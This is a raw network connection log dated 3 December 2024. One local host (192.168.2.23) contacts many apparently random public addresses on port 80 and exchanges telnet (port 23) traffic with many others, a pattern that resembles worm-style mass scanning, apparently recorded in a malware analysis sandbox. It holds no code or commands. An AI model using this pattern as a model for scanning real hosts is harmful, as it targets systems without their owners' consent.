Dec 3, 2024 23:01:45.665405035 CET	60046	80	192.168.2.23	73.242.45.3
Dec 3, 2024 23:01:45.665416002 CET	60046	80	192.168.2.23	54.147.61.198
Dec 3, 2024 23:01:45.665416002 CET	60046	80	192.168.2.23	41.136.61.174
Dec 3, 2024 23:01:45.665416002 CET	60046	80	192.168.2.23	60.173.31.120
Dec 3, 2024 23:01:45.665419102 CET	60046	80	192.168.2.23	41.57.33.90
Dec 3, 2024 23:01:45.665421963 CET	60046	80	192.168.2.23	4.198.165.240
Dec 3, 2024 23:01:45.665421963 CET	60046	80	192.168.2.23	182.176.186.236
Dec 3, 2024 23:01:45.665437937 CET	60046	80	192.168.2.23	104.24.33.237
Dec 3, 2024 23:01:45.665441990 CET	60046	80	192.168.2.23	98.112.153.11
Dec 3, 2024 23:01:45.665446997 CET	60046	80	192.168.2.23	99.35.80.65
Dec 3, 2024 23:01:45.665446997 CET	60046	80	192.168.2.23	62.93.15.153
Dec 3, 2024 23:01:45.665455103 CET	60046	80	192.168.2.23	116.216.172.138
Dec 3, 2024 23:01:45.665466070 CET	60046	80	192.168.2.23	116.173.61.87
Dec 3, 2024 23:01:45.665474892 CET	60046	80	192.168.2.23	210.128.133.111
Dec 3, 2024 23:01:45.665477037 CET	60046	80	192.168.2.23	80.72.242.162
Dec 3, 2024 23:01:45.665483952 CET	60046	80	192.168.2.23	170.129.190.86
Dec 3, 2024 23:01:45.665494919 CET	60046	80	192.168.2.23	86.59.73.142
Dec 3, 2024 23:01:45.666142941 CET	60046	80	192.168.2.23	97.149.69.201
Dec 3, 2024 23:01:45.666151047 CET	60046	80	192.168.2.23	212.22.140.250
Dec 3, 2024 23:01:45.666151047 CET	60046	80	192.168.2.23	171.129.204.211
Dec 3, 2024 23:01:45.666166067 CET	60046	80	192.168.2.23	79.30.4.180
Dec 3, 2024 23:01:45.666176081 CET	60046	80	192.168.2.23	19.232.24.10
Dec 3, 2024 23:01:45.666176081 CET	60046	80	192.168.2.23	222.61.107.148
Dec 3, 2024 23:01:45.666176081 CET	60046	80	192.168.2.23	165.219.100.147
Dec 3, 2024 23:01:45.666189909 CET	60046	80	192.168.2.23	184.234.231.194
Dec 3, 2024 23:01:45.666194916 CET	60046	80	192.168.2.23	81.161.74.34
Dec 3, 2024 23:01:45.666196108 CET	60046	80	192.168.2.23	207.202.150.212
Dec 3, 2024 23:01:45.666196108 CET	60046	80	192.168.2.23	37.120.249.47
Dec 3, 2024 23:01:45.666213036 CET	60046	80	192.168.2.23	197.203.115.69
Dec 3, 2024 23:01:45.666213989 CET	60046	80	192.168.2.23	134.167.117.40
Dec 3, 2024 23:01:45.666218996 CET	60046	80	192.168.2.23	216.205.241.202
Dec 3, 2024 23:01:45.666224957 CET	60046	80	192.168.2.23	149.96.128.0
Dec 3, 2024 23:01:45.666240931 CET	60046	80	192.168.2.23	209.192.201.57
Dec 3, 2024 23:01:45.666240931 CET	60046	80	192.168.2.23	18.188.32.20
Dec 3, 2024 23:01:45.666240931 CET	60046	80	192.168.2.23	176.245.3.143
Dec 3, 2024 23:01:45.666253090 CET	60046	80	192.168.2.23	39.253.70.143
Dec 3, 2024 23:01:45.666254044 CET	60046	80	192.168.2.23	113.155.233.69
Dec 3, 2024 23:01:45.666254044 CET	60046	80	192.168.2.23	199.122.64.168
Dec 3, 2024 23:01:45.666264057 CET	60046	80	192.168.2.23	190.89.19.100
Dec 3, 2024 23:01:45.666276932 CET	60046	80	192.168.2.23	123.169.92.140
Dec 3, 2024 23:01:45.666276932 CET	60046	80	192.168.2.23	31.74.34.201
Dec 3, 2024 23:01:45.666277885 CET	60046	80	192.168.2.23	137.249.9.9
Dec 3, 2024 23:01:45.666644096 CET	60046	80	192.168.2.23	115.11.53.52
Dec 3, 2024 23:01:45.666650057 CET	60046	80	192.168.2.23	113.179.197.105
Dec 3, 2024 23:01:45.666661024 CET	60046	80	192.168.2.23	104.213.76.243
Dec 3, 2024 23:01:45.666661978 CET	60046	80	192.168.2.23	108.7.199.102
Dec 3, 2024 23:01:45.666661978 CET	60046	80	192.168.2.23	140.244.117.96
Dec 3, 2024 23:01:45.666662931 CET	60046	80	192.168.2.23	182.67.153.164
Dec 3, 2024 23:01:45.666676044 CET	60046	80	192.168.2.23	196.19.180.182
Dec 3, 2024 23:01:45.666685104 CET	60046	80	192.168.2.23	14.238.12.129
Dec 3, 2024 23:01:45.666685104 CET	60046	80	192.168.2.23	207.130.7.82
Dec 3, 2024 23:01:45.666698933 CET	60046	80	192.168.2.23	211.234.93.105
Dec 3, 2024 23:01:45.666702986 CET	60046	80	192.168.2.23	149.249.155.88
Dec 3, 2024 23:01:45.666704893 CET	60046	80	192.168.2.23	53.223.28.159
Dec 3, 2024 23:01:45.666711092 CET	60046	80	192.168.2.23	104.19.153.84
Dec 3, 2024 23:01:45.666719913 CET	60046	80	192.168.2.23	192.185.43.201
Dec 3, 2024 23:01:45.666726112 CET	60046	80	192.168.2.23	191.203.179.206
Dec 3, 2024 23:01:45.666728020 CET	60046	80	192.168.2.23	123.153.73.190
Dec 3, 2024 23:01:45.666738033 CET	60046	80	192.168.2.23	49.47.246.187
Dec 3, 2024 23:01:45.666747093 CET	60046	80	192.168.2.23	212.170.215.207
Dec 3, 2024 23:01:45.666750908 CET	60046	80	192.168.2.23	37.134.202.69
Dec 3, 2024 23:01:45.666758060 CET	60046	80	192.168.2.23	61.221.40.193
Dec 3, 2024 23:01:45.666758060 CET	60046	80	192.168.2.23	17.151.161.227
Dec 3, 2024 23:01:45.666765928 CET	60046	80	192.168.2.23	76.163.151.203
Dec 3, 2024 23:01:45.666769028 CET	60046	80	192.168.2.23	86.70.76.234
Dec 3, 2024 23:01:45.666778088 CET	60046	80	192.168.2.23	191.166.169.68
Dec 3, 2024 23:01:45.666778088 CET	60046	80	192.168.2.23	190.155.146.244
Dec 3, 2024 23:01:45.666790009 CET	60046	80	192.168.2.23	171.82.131.88
Dec 3, 2024 23:01:45.666810036 CET	60046	80	192.168.2.23	199.98.80.129
Dec 3, 2024 23:01:45.666812897 CET	60046	80	192.168.2.23	216.175.84.216
Dec 3, 2024 23:01:45.666815996 CET	60046	80	192.168.2.23	37.85.127.66
Dec 3, 2024 23:01:45.666821957 CET	60046	80	192.168.2.23	60.61.175.78
Dec 3, 2024 23:01:45.666827917 CET	60046	80	192.168.2.23	203.248.16.6
Dec 3, 2024 23:01:45.666831017 CET	60046	80	192.168.2.23	183.55.26.168
Dec 3, 2024 23:01:45.666831017 CET	60046	80	192.168.2.23	193.90.62.19
Dec 3, 2024 23:01:45.666851997 CET	60046	80	192.168.2.23	81.3.15.139
Dec 3, 2024 23:01:45.666851997 CET	60046	80	192.168.2.23	27.7.23.144
Dec 3, 2024 23:01:45.666853905 CET	60046	80	192.168.2.23	189.155.225.32
Dec 3, 2024 23:01:45.666855097 CET	60046	80	192.168.2.23	167.162.173.26
Dec 3, 2024 23:01:45.666861057 CET	60046	80	192.168.2.23	106.252.142.158
Dec 3, 2024 23:01:45.666861057 CET	60046	80	192.168.2.23	95.225.191.250
Dec 3, 2024 23:01:45.666862011 CET	60046	80	192.168.2.23	49.240.108.39
Dec 3, 2024 23:01:45.666865110 CET	60046	80	192.168.2.23	44.19.191.88
Dec 3, 2024 23:01:45.666866064 CET	60046	80	192.168.2.23	170.113.96.101
Dec 3, 2024 23:01:45.666893005 CET	60046	80	192.168.2.23	93.158.90.139
Dec 3, 2024 23:01:45.666899920 CET	60046	80	192.168.2.23	87.150.243.123
Dec 3, 2024 23:01:45.666902065 CET	60046	80	192.168.2.23	132.76.16.141
Dec 3, 2024 23:01:45.666903973 CET	60046	80	192.168.2.23	209.153.156.251
Dec 3, 2024 23:01:45.666909933 CET	60046	80	192.168.2.23	171.234.221.242
Dec 3, 2024 23:01:45.666914940 CET	60046	80	192.168.2.23	162.174.200.38
Dec 3, 2024 23:01:45.666928053 CET	60046	80	192.168.2.23	89.17.94.241
Dec 3, 2024 23:01:45.666928053 CET	60046	80	192.168.2.23	171.37.92.48
Dec 3, 2024 23:01:45.666930914 CET	60046	80	192.168.2.23	181.189.65.132
Dec 3, 2024 23:01:45.666930914 CET	60046	80	192.168.2.23	113.96.238.163
Dec 3, 2024 23:01:45.666933060 CET	60046	80	192.168.2.23	83.100.207.10
Dec 3, 2024 23:01:45.666946888 CET	60046	80	192.168.2.23	85.220.169.174
Dec 3, 2024 23:01:45.666954994 CET	60046	80	192.168.2.23	43.26.101.127
Dec 3, 2024 23:01:45.666954994 CET	60046	80	192.168.2.23	45.60.50.71
Dec 3, 2024 23:01:45.666958094 CET	60046	80	192.168.2.23	97.141.190.20
Dec 3, 2024 23:01:45.666958094 CET	60046	80	192.168.2.23	199.120.245.185
Dec 3, 2024 23:01:45.666958094 CET	60046	80	192.168.2.23	176.166.33.61
Dec 3, 2024 23:01:45.666970968 CET	60046	80	192.168.2.23	221.22.162.36
Dec 3, 2024 23:01:45.666975975 CET	60046	80	192.168.2.23	160.13.135.110
Dec 3, 2024 23:01:45.666975975 CET	60046	80	192.168.2.23	25.210.203.195
Dec 3, 2024 23:01:45.666977882 CET	60046	80	192.168.2.23	103.52.220.17
Dec 3, 2024 23:01:45.666992903 CET	60046	80	192.168.2.23	63.82.193.157
Dec 3, 2024 23:01:45.666995049 CET	60046	80	192.168.2.23	83.162.185.158
Dec 3, 2024 23:01:45.667002916 CET	60046	80	192.168.2.23	181.187.232.153
Dec 3, 2024 23:01:45.667004108 CET	60046	80	192.168.2.23	182.67.49.139
Dec 3, 2024 23:01:45.667005062 CET	60046	80	192.168.2.23	77.149.90.49
Dec 3, 2024 23:01:45.667006969 CET	60046	80	192.168.2.23	111.156.68.81
Dec 3, 2024 23:01:45.667011023 CET	60046	80	192.168.2.23	53.35.31.28
Dec 3, 2024 23:01:45.667011023 CET	60046	80	192.168.2.23	36.112.205.196
Dec 3, 2024 23:01:45.667012930 CET	60046	80	192.168.2.23	190.97.37.171
Dec 3, 2024 23:01:45.667012930 CET	60046	80	192.168.2.23	162.149.115.82
Dec 3, 2024 23:01:45.667020082 CET	60046	80	192.168.2.23	142.250.222.204
Dec 3, 2024 23:01:45.667030096 CET	60046	80	192.168.2.23	62.9.95.199
Dec 3, 2024 23:01:45.667037010 CET	60046	80	192.168.2.23	70.169.22.139
Dec 3, 2024 23:01:45.667042971 CET	60046	80	192.168.2.23	154.202.113.247
Dec 3, 2024 23:01:45.667057037 CET	60046	80	192.168.2.23	128.231.123.65
Dec 3, 2024 23:01:45.667057037 CET	60046	80	192.168.2.23	175.80.86.135
Dec 3, 2024 23:01:45.667062998 CET	60046	80	192.168.2.23	23.145.130.23
Dec 3, 2024 23:01:45.667064905 CET	60046	80	192.168.2.23	60.28.25.180
Dec 3, 2024 23:01:45.667066097 CET	60046	80	192.168.2.23	13.77.248.209
Dec 3, 2024 23:01:45.667066097 CET	60046	80	192.168.2.23	89.210.65.211
Dec 3, 2024 23:01:45.667082071 CET	60046	80	192.168.2.23	150.8.62.27
Dec 3, 2024 23:01:45.667088985 CET	60046	80	192.168.2.23	178.36.150.24
Dec 3, 2024 23:01:45.667088985 CET	60046	80	192.168.2.23	69.253.213.247
Dec 3, 2024 23:01:45.667090893 CET	60046	80	192.168.2.23	154.231.44.98
Dec 3, 2024 23:01:45.667095900 CET	60046	80	192.168.2.23	34.47.248.157
Dec 3, 2024 23:01:45.667104959 CET	60046	80	192.168.2.23	197.175.34.207
Dec 3, 2024 23:01:45.667121887 CET	60046	80	192.168.2.23	172.47.134.139
Dec 3, 2024 23:01:45.667124987 CET	60046	80	192.168.2.23	161.129.11.28
Dec 3, 2024 23:01:45.667131901 CET	60046	80	192.168.2.23	27.2.164.231
Dec 3, 2024 23:01:45.667134047 CET	60046	80	192.168.2.23	88.33.18.108
Dec 3, 2024 23:01:45.667144060 CET	60046	80	192.168.2.23	79.211.30.219
Dec 3, 2024 23:01:45.778784990 CET	23	62862	38.114.7.108	192.168.2.23
Dec 3, 2024 23:01:45.778825045 CET	23	62862	207.157.41.28	192.168.2.23
Dec 3, 2024 23:01:45.778834105 CET	23	62862	112.141.173.28	192.168.2.23
Dec 3, 2024 23:01:45.778842926 CET	23	62862	108.140.146.147	192.168.2.23
Dec 3, 2024 23:01:45.778891087 CET	62862	23	192.168.2.23	207.157.41.28
Dec 3, 2024 23:01:45.778891087 CET	23	62862	201.56.110.222	192.168.2.23
Dec 3, 2024 23:01:45.778891087 CET	62862	23	192.168.2.23	108.140.146.147
Dec 3, 2024 23:01:45.778892994 CET	62862	23	192.168.2.23	38.114.7.108
Dec 3, 2024 23:01:45.778902054 CET	23	62862	173.181.189.228	192.168.2.23
Dec 3, 2024 23:01:45.778902054 CET	62862	23	192.168.2.23	112.141.173.28
Dec 3, 2024 23:01:45.778909922 CET	23	62862	163.155.116.239	192.168.2.23
Dec 3, 2024 23:01:45.778918028 CET	23	62862	175.36.18.170	192.168.2.23
Dec 3, 2024 23:01:45.778928995 CET	23	62862	151.170.191.154	192.168.2.23
Dec 3, 2024 23:01:45.778956890 CET	62862	23	192.168.2.23	175.36.18.170
Dec 3, 2024 23:01:45.778964996 CET	62862	23	192.168.2.23	151.170.191.154
Dec 3, 2024 23:01:45.778995991 CET	23	62862	151.56.241.31	192.168.2.23
Dec 3, 2024 23:01:45.779005051 CET	23	62862	85.231.229.188	192.168.2.23
Dec 3, 2024 23:01:45.779017925 CET	23	62862	144.52.107.24	192.168.2.23
Dec 3, 2024 23:01:45.779026031 CET	23	62862	17.250.91.183	192.168.2.23
Dec 3, 2024 23:01:45.779030085 CET	62862	23	192.168.2.23	151.56.241.31
Dec 3, 2024 23:01:45.779042959 CET	23	62862	122.148.140.190	192.168.2.23
Dec 3, 2024 23:01:45.779051065 CET	23	62862	150.181.173.225	192.168.2.23
Dec 3, 2024 23:01:45.779059887 CET	23	62862	35.122.63.16	192.168.2.23
Dec 3, 2024 23:01:45.779059887 CET	62862	23	192.168.2.23	144.52.107.24
Dec 3, 2024 23:01:45.779062033 CET	62862	23	192.168.2.23	17.250.91.183
Dec 3, 2024 23:01:45.779092073 CET	62862	23	192.168.2.23	150.181.173.225
Dec 3, 2024 23:01:45.779097080 CET	62862	23	192.168.2.23	35.122.63.16
Dec 3, 2024 23:01:45.779100895 CET	23	62862	147.78.84.141	192.168.2.23
Dec 3, 2024 23:01:45.779110909 CET	23	62862	153.83.109.219	192.168.2.23
Dec 3, 2024 23:01:45.779119015 CET	62862	23	192.168.2.23	201.56.110.222
Dec 3, 2024 23:01:45.779126883 CET	62862	23	192.168.2.23	173.181.189.228
Dec 3, 2024 23:01:45.779131889 CET	62862	23	192.168.2.23	163.155.116.239
Dec 3, 2024 23:01:45.779131889 CET	62862	23	192.168.2.23	147.78.84.141
Dec 3, 2024 23:01:45.779134989 CET	23	62862	94.50.141.244	192.168.2.23
Dec 3, 2024 23:01:45.779143095 CET	62862	23	192.168.2.23	122.148.140.190
Dec 3, 2024 23:01:45.779143095 CET	62862	23	192.168.2.23	85.231.229.188
Dec 3, 2024 23:01:45.779143095 CET	62862	23	192.168.2.23	153.83.109.219
Dec 3, 2024 23:01:45.779144049 CET	23	62862	51.156.239.173	192.168.2.23
Dec 3, 2024 23:01:45.779164076 CET	23	62862	178.217.5.22	192.168.2.23
Dec 3, 2024 23:01:45.779172897 CET	23	62862	132.32.186.108	192.168.2.23
Dec 3, 2024 23:01:45.779175043 CET	62862	23	192.168.2.23	94.50.141.244
Dec 3, 2024 23:01:45.779184103 CET	23	62862	198.137.128.175	192.168.2.23
Dec 3, 2024 23:01:45.779185057 CET	62862	23	192.168.2.23	51.156.239.173
Dec 3, 2024 23:01:45.779191971 CET	23	62862	153.158.28.8	192.168.2.23
Dec 3, 2024 23:01:45.779191971 CET	62862	23	192.168.2.23	178.217.5.22
Dec 3, 2024 23:01:45.779210091 CET	62862	23	192.168.2.23	132.32.186.108
Dec 3, 2024 23:01:45.779211998 CET	62862	23	192.168.2.23	198.137.128.175
Dec 3, 2024 23:01:45.779227018 CET	62862	23	192.168.2.23	153.158.28.8
Dec 3, 2024 23:01:45.779244900 CET	23	62862	95.51.226.164	192.168.2.23
Dec 3, 2024 23:01:45.779254913 CET	23	62862	37.181.215.63	192.168.2.23
Dec 3, 2024 23:01:45.779263020 CET	23	62862	139.182.82.91	192.168.2.23
Dec 3, 2024 23:01:45.779270887 CET	23	62862	222.209.150.33	192.168.2.23
Dec 3, 2024 23:01:45.779287100 CET	23	62862	80.129.205.180	192.168.2.23
Dec 3, 2024 23:01:45.779289961 CET	62862	23	192.168.2.23	95.51.226.164
Dec 3, 2024 23:01:45.779289961 CET	62862	23	192.168.2.23	37.181.215.63
Dec 3, 2024 23:01:45.779289961 CET	62862	23	192.168.2.23	139.182.82.91
Dec 3, 2024 23:01:45.779294968 CET	23	62862	106.212.24.177	192.168.2.23
Dec 3, 2024 23:01:45.779304028 CET	23	62862	207.58.89.49	192.168.2.23
Dec 3, 2024 23:01:45.779309988 CET	62862	23	192.168.2.23	222.209.150.33
Dec 3, 2024 23:01:45.779320002 CET	23	62862	159.26.209.223	192.168.2.23
Dec 3, 2024 23:01:45.779329062 CET	62862	23	192.168.2.23	80.129.205.180
Dec 3, 2024 23:01:45.779329062 CET	23	62862	39.214.51.249	192.168.2.23
Dec 3, 2024 23:01:45.779339075 CET	23	62862	179.7.190.239	192.168.2.23
Dec 3, 2024 23:01:45.779341936 CET	62862	23	192.168.2.23	106.212.24.177
Dec 3, 2024 23:01:45.779349089 CET	62862	23	192.168.2.23	207.58.89.49
Dec 3, 2024 23:01:45.779352903 CET	62862	23	192.168.2.23	159.26.209.223
Dec 3, 2024 23:01:45.779355049 CET	23	62862	196.252.226.169	192.168.2.23
Dec 3, 2024 23:01:45.779359102 CET	62862	23	192.168.2.23	39.214.51.249
Dec 3, 2024 23:01:45.779366970 CET	62862	23	192.168.2.23	179.7.190.239
Dec 3, 2024 23:01:45.779391050 CET	62862	23	192.168.2.23	196.252.226.169
Dec 3, 2024 23:01:45.779453039 CET	23	62862	165.198.243.105	192.168.2.23
Dec 3, 2024 23:01:45.779462099 CET	23	62862	198.168.242.37	192.168.2.23
Dec 3, 2024 23:01:45.779469967 CET	23	62862	74.91.135.35	192.168.2.23
Dec 3, 2024 23:01:45.779479027 CET	23	62862	37.184.6.218	192.168.2.23
Dec 3, 2024 23:01:45.779496908 CET	62862	23	192.168.2.23	165.198.243.105
Dec 3, 2024 23:01:45.779501915 CET	62862	23	192.168.2.23	198.168.242.37
Dec 3, 2024 23:01:45.779501915 CET	62862	23	192.168.2.23	74.91.135.35
Dec 3, 2024 23:01:45.779514074 CET	62862	23	192.168.2.23	37.184.6.218
Dec 3, 2024 23:01:45.780028105 CET	23	62862	118.151.23.151	192.168.2.23
Dec 3, 2024 23:01:45.780066013 CET	62862	23	192.168.2.23	118.151.23.151
Dec 3, 2024 23:01:45.780077934 CET	23	62862	73.110.30.68	192.168.2.23
Dec 3, 2024 23:01:45.780087948 CET	23	62862	108.104.198.219	192.168.2.23
Dec 3, 2024 23:01:45.780097961 CET	23	62862	2.223.86.224	192.168.2.23
Dec 3, 2024 23:01:45.780117035 CET	62862	23	192.168.2.23	108.104.198.219
Dec 3, 2024 23:01:45.780119896 CET	62862	23	192.168.2.23	73.110.30.68
Dec 3, 2024 23:01:45.780132055 CET	62862	23	192.168.2.23	2.223.86.224
Dec 3, 2024 23:01:45.780148983 CET	23	62862	93.109.67.30	192.168.2.23
Dec 3, 2024 23:01:45.780158997 CET	23	62862	31.120.236.139	192.168.2.23
Dec 3, 2024 23:01:45.780167103 CET	23	62862	171.216.222.154	192.168.2.23
Dec 3, 2024 23:01:45.780174971 CET	23	62862	9.164.2.0	192.168.2.23
Dec 3, 2024 23:01:45.780183077 CET	23	62862	157.173.155.208	192.168.2.23
Dec 3, 2024 23:01:45.780186892 CET	62862	23	192.168.2.23	93.109.67.30
Dec 3, 2024 23:01:45.780191898 CET	23	62862	1.240.253.96	192.168.2.23
Dec 3, 2024 23:01:45.780191898 CET	62862	23	192.168.2.23	31.120.236.139
Dec 3, 2024 23:01:45.780200958 CET	23	62862	25.42.120.173	192.168.2.23
Dec 3, 2024 23:01:45.780210972 CET	62862	23	192.168.2.23	171.216.222.154
Dec 3, 2024 23:01:45.780210972 CET	23	62862	76.7.242.222	192.168.2.23
Dec 3, 2024 23:01:45.780219078 CET	62862	23	192.168.2.23	1.240.253.96
Dec 3, 2024 23:01:45.780220032 CET	62862	23	192.168.2.23	9.164.2.0
Dec 3, 2024 23:01:45.780220032 CET	62862	23	192.168.2.23	157.173.155.208
Dec 3, 2024 23:01:45.780220032 CET	62862	23	192.168.2.23	25.42.120.173
Dec 3, 2024 23:01:45.780251980 CET	62862	23	192.168.2.23	76.7.242.222
Dec 3, 2024 23:01:45.780317068 CET	23	62862	72.158.13.10	192.168.2.23
Dec 3, 2024 23:01:45.780327082 CET	23	62862	184.11.29.99	192.168.2.23
Dec 3, 2024 23:01:45.780333996 CET	23	62862	181.234.212.30	192.168.2.23
Dec 3, 2024 23:01:45.780342102 CET	23	62862	109.167.216.163	192.168.2.23
Dec 3, 2024 23:01:45.780349970 CET	23	62862	109.106.43.177	192.168.2.23
Dec 3, 2024 23:01:45.780352116 CET	62862	23	192.168.2.23	72.158.13.10
Dec 3, 2024 23:01:45.780358076 CET	23	62862	211.179.169.201	192.168.2.23
Dec 3, 2024 23:01:45.780359983 CET	62862	23	192.168.2.23	184.11.29.99
Dec 3, 2024 23:01:45.780366898 CET	23	62862	197.86.126.134	192.168.2.23
Dec 3, 2024 23:01:45.780366898 CET	62862	23	192.168.2.23	181.234.212.30
Dec 3, 2024 23:01:45.780368090 CET	62862	23	192.168.2.23	109.167.216.163
Dec 3, 2024 23:01:45.780378103 CET	23	62862	12.142.223.22	192.168.2.23
Dec 3, 2024 23:01:45.780385017 CET	62862	23	192.168.2.23	109.106.43.177
Dec 3, 2024 23:01:45.780385971 CET	23	62862	70.21.101.255	192.168.2.23
Dec 3, 2024 23:01:45.780389071 CET	62862	23	192.168.2.23	211.179.169.201
Dec 3, 2024 23:01:45.780394077 CET	23	62862	70.97.78.156	192.168.2.23
Dec 3, 2024 23:01:45.780401945 CET	23	62862	64.41.71.9	192.168.2.23
Dec 3, 2024 23:01:45.780405998 CET	62862	23	192.168.2.23	197.86.126.134
Dec 3, 2024 23:01:45.780409098 CET	62862	23	192.168.2.23	12.142.223.22
Dec 3, 2024 23:01:45.780411959 CET	23	62862	162.94.75.145	192.168.2.23
Dec 3, 2024 23:01:45.780416012 CET	62862	23	192.168.2.23	70.21.101.255
Dec 3, 2024 23:01:45.780421972 CET	23	62862	125.45.44.229	192.168.2.23
Dec 3, 2024 23:01:45.780424118 CET	62862	23	192.168.2.23	70.97.78.156
Dec 3, 2024 23:01:45.780430079 CET	23	62862	211.228.55.37	192.168.2.23
Dec 3, 2024 23:01:45.780438900 CET	23	62862	76.171.77.224	192.168.2.23
Dec 3, 2024 23:01:45.780442953 CET	62862	23	192.168.2.23	64.41.71.9
Dec 3, 2024 23:01:45.780442953 CET	62862	23	192.168.2.23	162.94.75.145
Dec 3, 2024 23:01:45.780447006 CET	23	62862	114.40.182.154	192.168.2.23
Dec 3, 2024 23:01:45.780453920 CET	62862	23	192.168.2.23	125.45.44.229
Dec 3, 2024 23:01:45.780468941 CET	62862	23	192.168.2.23	211.228.55.37
Dec 3, 2024 23:01:45.780468941 CET	62862	23	192.168.2.23	76.171.77.224
Dec 3, 2024 23:01:45.780472994 CET	23	62862	199.103.235.91	192.168.2.23
Dec 3, 2024 23:01:45.780481100 CET	62862	23	192.168.2.23	114.40.182.154
Dec 3, 2024 23:01:45.780508041 CET	23	62862	79.199.53.202	192.168.2.23
Dec 3, 2024 23:01:45.780513048 CET	62862	23	192.168.2.23	199.103.235.91
Dec 3, 2024 23:01:45.780546904 CET	23	62862	90.111.115.170	192.168.2.23
Dec 3, 2024 23:01:45.780548096 CET	62862	23	192.168.2.23	79.199.53.202
Dec 3, 2024 23:01:45.780556917 CET	23	62862	217.60.157.152	192.168.2.23
Dec 3, 2024 23:01:45.780565977 CET	23	62862	12.114.42.94	192.168.2.23
Dec 3, 2024 23:01:45.780586958 CET	62862	23	192.168.2.23	90.111.115.170
Dec 3, 2024 23:01:45.780590057 CET	62862	23	192.168.2.23	217.60.157.152
Dec 3, 2024 23:01:45.780606031 CET	62862	23	192.168.2.23	12.114.42.94
Dec 3, 2024 23:01:45.780621052 CET	23	62862	44.2.195.48	192.168.2.23
Dec 3, 2024 23:01:45.780658007 CET	62862	23	192.168.2.23	44.2.195.48
Dec 3, 2024 23:01:45.902374983 CET	23	62862	191.66.88.30	192.168.2.23
Dec 3, 2024 23:01:45.902385950 CET	23	62862	134.95.38.237	192.168.2.23
Dec 3, 2024 23:01:45.902393103 CET	23	62862	67.69.37.155	192.168.2.23
Dec 3, 2024 23:01:45.902396917 CET	23	62862	222.16.5.39	192.168.2.23
Dec 3, 2024 23:01:45.902405024 CET	23	62862	52.78.81.211	192.168.2.23
Dec 3, 2024 23:01:45.902414083 CET	23	62862	25.6.117.236	192.168.2.23
Dec 3, 2024 23:01:45.902421951 CET	23	62862	119.31.131.21	192.168.2.23
Dec 3, 2024 23:01:45.902424097 CET	62862	23	192.168.2.23	191.66.88.30
Dec 3, 2024 23:01:45.902430058 CET	23	62862	188.244.76.112	192.168.2.23
Dec 3, 2024 23:01:45.902441978 CET	62862	23	192.168.2.23	134.95.38.237
Dec 3, 2024 23:01:45.902446985 CET	62862	23	192.168.2.23	25.6.117.236
Dec 3, 2024 23:01:45.902446985 CET	62862	23	192.168.2.23	119.31.131.21
Dec 3, 2024 23:01:45.902451038 CET	62862	23	192.168.2.23	67.69.37.155
Dec 3, 2024 23:01:45.902465105 CET	62862	23	192.168.2.23	222.16.5.39
Dec 3, 2024 23:01:45.902466059 CET	62862	23	192.168.2.23	52.78.81.211
Dec 3, 2024 23:01:45.902472019 CET	62862	23	192.168.2.23	188.244.76.112
Dec 3, 2024 23:01:45.902482986 CET	23	62862	156.238.52.51	192.168.2.23
Dec 3, 2024 23:01:45.902492046 CET	23	62862	160.199.121.221	192.168.2.23
Dec 3, 2024 23:01:45.902496099 CET	23	62862	188.163.72.253	192.168.2.23
Dec 3, 2024 23:01:45.902498960 CET	23	62862	213.49.151.203	192.168.2.23
Dec 3, 2024 23:01:45.902503014 CET	23	62862	144.60.181.132	192.168.2.23
Dec 3, 2024 23:01:45.902512074 CET	23	62862	37.211.142.43	192.168.2.23
Dec 3, 2024 23:01:45.902518988 CET	23	62862	185.142.60.46	192.168.2.23
Dec 3, 2024 23:01:45.902523994 CET	62862	23	192.168.2.23	156.238.52.51
Dec 3, 2024 23:01:45.902527094 CET	62862	23	192.168.2.23	160.199.121.221
Dec 3, 2024 23:01:45.902528048 CET	23	62862	53.120.172.84	192.168.2.23
Dec 3, 2024 23:01:45.902529001 CET	62862	23	192.168.2.23	213.49.151.203
Dec 3, 2024 23:01:45.902529001 CET	62862	23	192.168.2.23	188.163.72.253
Dec 3, 2024 23:01:45.902529001 CET	62862	23	192.168.2.23	144.60.181.132
Dec 3, 2024 23:01:45.902538061 CET	23	62862	50.30.138.184	192.168.2.23
Dec 3, 2024 23:01:45.902540922 CET	62862	23	192.168.2.23	37.211.142.43
Dec 3, 2024 23:01:45.902545929 CET	62862	23	192.168.2.23	185.142.60.46
Dec 3, 2024 23:01:45.902569056 CET	62862	23	192.168.2.23	53.120.172.84
Dec 3, 2024 23:01:45.902571917 CET	23	62862	68.171.104.71	192.168.2.23
Dec 3, 2024 23:01:45.902581930 CET	23	62862	116.187.245.24	192.168.2.23
Dec 3, 2024 23:01:45.902590990 CET	23	62862	35.45.36.241	192.168.2.23
Dec 3, 2024 23:01:45.902592897 CET	62862	23	192.168.2.23	50.30.138.184
Dec 3, 2024 23:01:45.902600050 CET	23	62862	38.241.179.5	192.168.2.23
Dec 3, 2024 23:01:45.902601957 CET	62862	23	192.168.2.23	68.171.104.71
Dec 3, 2024 23:01:45.902604103 CET	23	62862	71.224.201.155	192.168.2.23
Dec 3, 2024 23:01:45.902611017 CET	62862	23	192.168.2.23	116.187.245.24
Dec 3, 2024 23:01:45.902612925 CET	23	62862	36.157.245.7	192.168.2.23
Dec 3, 2024 23:01:45.902622938 CET	23	62862	141.188.232.239	192.168.2.23
Dec 3, 2024 23:01:45.902631044 CET	23	62862	107.67.165.13	192.168.2.23
Dec 3, 2024 23:01:45.902638912 CET	23	62862	137.202.227.249	192.168.2.23
Dec 3, 2024 23:01:45.902642965 CET	62862	23	192.168.2.23	35.45.36.241
Dec 3, 2024 23:01:45.902642965 CET	23	62862	178.126.119.213	192.168.2.23
Dec 3, 2024 23:01:45.902647972 CET	62862	23	192.168.2.23	38.241.179.5
Dec 3, 2024 23:01:45.902647972 CET	23	62862	63.234.154.205	192.168.2.23
Dec 3, 2024 23:01:45.902647972 CET	62862	23	192.168.2.23	71.224.201.155
Dec 3, 2024 23:01:45.902656078 CET	62862	23	192.168.2.23	141.188.232.239
Dec 3, 2024 23:01:45.902657032 CET	62862	23	192.168.2.23	36.157.245.7
Dec 3, 2024 23:01:45.902683973 CET	62862	23	192.168.2.23	137.202.227.249
Dec 3, 2024 23:01:45.902688026 CET	62862	23	192.168.2.23	107.67.165.13
Dec 3, 2024 23:01:45.902692080 CET	62862	23	192.168.2.23	178.126.119.213
Dec 3, 2024 23:01:45.902697086 CET	62862	23	192.168.2.23	63.234.154.205
Dec 3, 2024 23:01:45.903213024 CET	23	62862	212.62.126.200	192.168.2.23
Dec 3, 2024 23:01:45.903222084 CET	23	62862	91.254.219.112	192.168.2.23
